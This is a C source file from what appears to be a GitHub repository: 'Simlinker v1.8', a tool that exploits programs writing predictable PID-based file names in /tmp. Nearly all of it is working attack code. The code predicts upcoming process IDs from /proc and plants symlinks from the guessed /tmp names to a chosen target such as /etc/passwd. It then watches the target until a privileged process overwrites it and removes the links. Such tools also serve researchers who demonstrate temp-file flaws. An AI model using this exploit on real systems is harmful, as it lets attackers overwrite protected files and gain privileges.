-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.c
319 lines (275 loc) · 7.26 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <strings.h>
#include <time.h>
#include <signal.h>
#include <ctype.h>
#include <stdarg.h>
#include <stdbool.h>
/*
#Symlink creator to abuse files creation in /tmp where the pid is used in the filename.
#First we need to take arguments that consist of a range of numbers and a filename to
#link from and a filename to link to.
*/
#define MAXSIZE 256
#define NRM "\x1B[0m"
#define RED "\x1B[31m"
#define GRN "\x1B[32m"
#define YEL "\x1B[33m"
#define BLU "\x1B[34m"
#define MAG "\x1B[35m"
#define CYN "\x1B[36m"
#define WHT "\x1B[37m"
typedef struct _files
{
char filename[MAXSIZE];
struct _files *next;
} files;
extern int errno;
extern char *optarg;
int get_latest_pid (void);
void unlink_files (files *);
void sigterm (int);
int print_c (char *, const char *, ...);
int create_links (int, int, char *, char *, char *, char *, files *);
#if __sgi
#define PROC "/proc/pinfo"
char *strsep (char **, const char *);
#endif
#if __sun || __linux__
#define PROC "/proc"
#endif
files *file_list, *tmp, *start;
int
main (int argc, char **argv)
{
int from = 0, errflg = 0, to = 0, i = 0, pid = 0, ch = 0;
char *dest_name = NULL, *from_name = NULL, tmp_name[MAXSIZE],
start_time[26], *buffer, *s;
struct stat buf;
time_t t_time_watch, t_time;
bool checkt=false;
bool checkn=false;
bool checkf=false;
//Allow users to ctrl + C we clean up the /tmp files
signal (SIGTERM, sigterm);
signal (SIGINT, sigterm);
signal (SIGHUP, sigterm);
//Latest pid read from PROC add one to being the start of our for loop.
if (argc < 4)
{
print_c (BLU,
"#### Simlinker v1.8 ####\n\n\nLarry W. Cashdollar\nOct/2019\n\n");
printf ("Usage: %s -n <count> -f <symlink> -t <target_file>\n", argv[0]);
printf ("e.g. %s -n 100 -f /tmp/dos_unix# -t /etc/passwd\n\n", argv[0]);
printf ("Where # is the place to insert the pid number\n");
return (0);
}
from = (get_latest_pid ()) + 1;
while ((ch = getopt (argc, argv, "n:f:t:")) != -1)
switch ((char) ch)
{
case 'n':
to = atoi (optarg) + from;
checkn = true;
break;
case 'f':
from_name = optarg;
checkf = true;
break;
case 't':
dest_name = optarg;
checkt = true;
break;
case '?':
errflg++;
}
if (errflg || !checkt || !checkf || !checkn)
{
fprintf (stderr, "Usage: %s -n # symlinks -f from_file -t to_file\n",
argv[0]);
return (0);
}
if(!strchr(from_name, '#')) {
printf("\n[-] ERROR: The -f argument must contains a # character.\n");
return (-1);
}
//init our link list
file_list = malloc (sizeof (files));
start = file_list;
bzero (file_list->filename, MAXSIZE);
file_list->next = NULL;
printf ("Starting from lastest process id read from %s: %d\n", PROC, from);
i = stat (dest_name, &buf);
if (i < 0)
{
printf ("\n[-] ERROR with stat() on %s!\n", dest_name);
return (-1);
}
t_time = buf.st_mtim.tv_sec; //store this as a string in start_time below and
snprintf (start_time, 25, "%s", ctime (&t_time)); //truncate the \n from the timestamp
t_time_watch = buf.st_mtim.tv_sec;
//Create our block of symlinks that we hope root will write too.
//parse out the format of our /tmp file. In some cases the file may have the pid in the middle
//or mixed in with something else.
printf ("[+] Symlinking ");
buffer = from_name;
s = strsep (&buffer, "#"); //The # delimiter tells us where in the file name the pid is.
create_links (from, to, s, buffer, tmp_name, dest_name, file_list);
print_c
(GRN,
"\n[+] Waiting on a write to one of our predicted links in /tmp or pid to grow past the links we created.\n");
// Watch the target file to see if it's over written and check to see if the newest process pid
// is larger than our biggest predicted pid. If so exit because we failed.
while (t_time == t_time_watch)
{
i = stat (dest_name, &buf);
t_time_watch = buf.st_mtim.tv_sec;
pid = get_latest_pid ();
if (pid >= to)
{
print_c
(RED,
"\n\n[-] Failed: The next pid %d will be past our largest predicted pid in /tmp links\ntry a larger number of links for busier systems.\n",
pid);
unlink_files (start);
exit (1);
}
sleep(1);
}
if (t_time != t_time_watch)
{
print_c (GRN, "[+] The target file %s has been over written!\n",
dest_name);
print_c (GRN, "[+] Modification time changed from %s to %s\n",
start_time, ctime (&t_time_watch));
}
unlink_files (start);
return (0);
}
int
get_latest_pid (void)
{ //Read the PROC directory to look for the latest pid to start our loop from.
//do this in a way where we don't spawn processes ourselves.
DIR *dirp;
struct dirent *direntp;
int big = 0, temp = 0;
dirp = opendir (PROC);
if (!dirp)
{
print_c (RED, "Error: can not read directory %s\n", PROC);
exit (1);
}
while ((direntp = readdir (dirp)) != NULL)
{ // we can figure out largest pid here with out creating storage
if (!strstr (direntp->d_name, ".")
&& isdigit ((int) direntp->d_name[0]))
{
temp = atoi (direntp->d_name);
if (temp > big)
big = temp;
}
}
closedir (dirp);
return (big);
}
void
unlink_files (files * fstruc)
{ //Delete symlinks using our linked list as filename storage.
files *tmp;
tmp = fstruc;
fstruc = fstruc->next;
free (tmp);
print_c (GRN, "[+] Cleaning up....\n");
print_c (GRN, "Unlinking ");
while (fstruc)
{
tmp = fstruc;
printf ("%s ", fstruc->filename);
unlink (fstruc->filename);
fstruc = fstruc->next;
free (tmp);
}
printf ("\n");
}
void
sigterm (int sig)
{ //Our Signal Handler. Delete any symlinks we've created.
fprintf (stderr, "\n[+] Signal %d received. Exiting...\n", sig);
if (start)
unlink_files (start);
exit (EXIT_SUCCESS);
}
#if __sgi
char *
strsep (char **stringp, const char *delim)
{
/*#Taken from the GNU .c library code. */
char *s;
const char *spanp;
int c, sc;
char *tok;
if ((s = *stringp) == NULL)
return (NULL);
for (tok = s;;)
{
c = *s++;
spanp = delim;
do
{
if ((sc = *spanp++) == c)
{
if (c == 0)
s = NULL;
else
s[-1] = 0;
*stringp = s;
return (tok);
}
}
while (sc != 0);
}
/* NOTREACHED */
}
#endif
int
print_c (char *color, const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
fprintf (stdout, "%s", color);
done = vfprintf (stdout, format, arg);
fprintf (stdout, "%s", NRM);
va_end (arg);
return done;
}
int
create_links (int f, int t, char *str, char *buf, char *tmp, char *des,
files * fil)
{
int x = 0, result = 0;
files *tmpf;
for (x = f; x < t; x++)
{
snprintf (tmp, MAXSIZE, "%s%d%s", str, x, buf);
printf ("%s->%s ", tmp, des);
tmpf = malloc (sizeof (files));
strncpy (tmpf->filename, tmp, MAXSIZE-1);
tmpf->next = fil->next;
fil->next = tmpf;
result = symlink (des, tmp);
if (result < 0)
{
print_c (RED, "Error: %d, %s\n", result, strerror (errno));
return (-1);
}
}
return (result);
}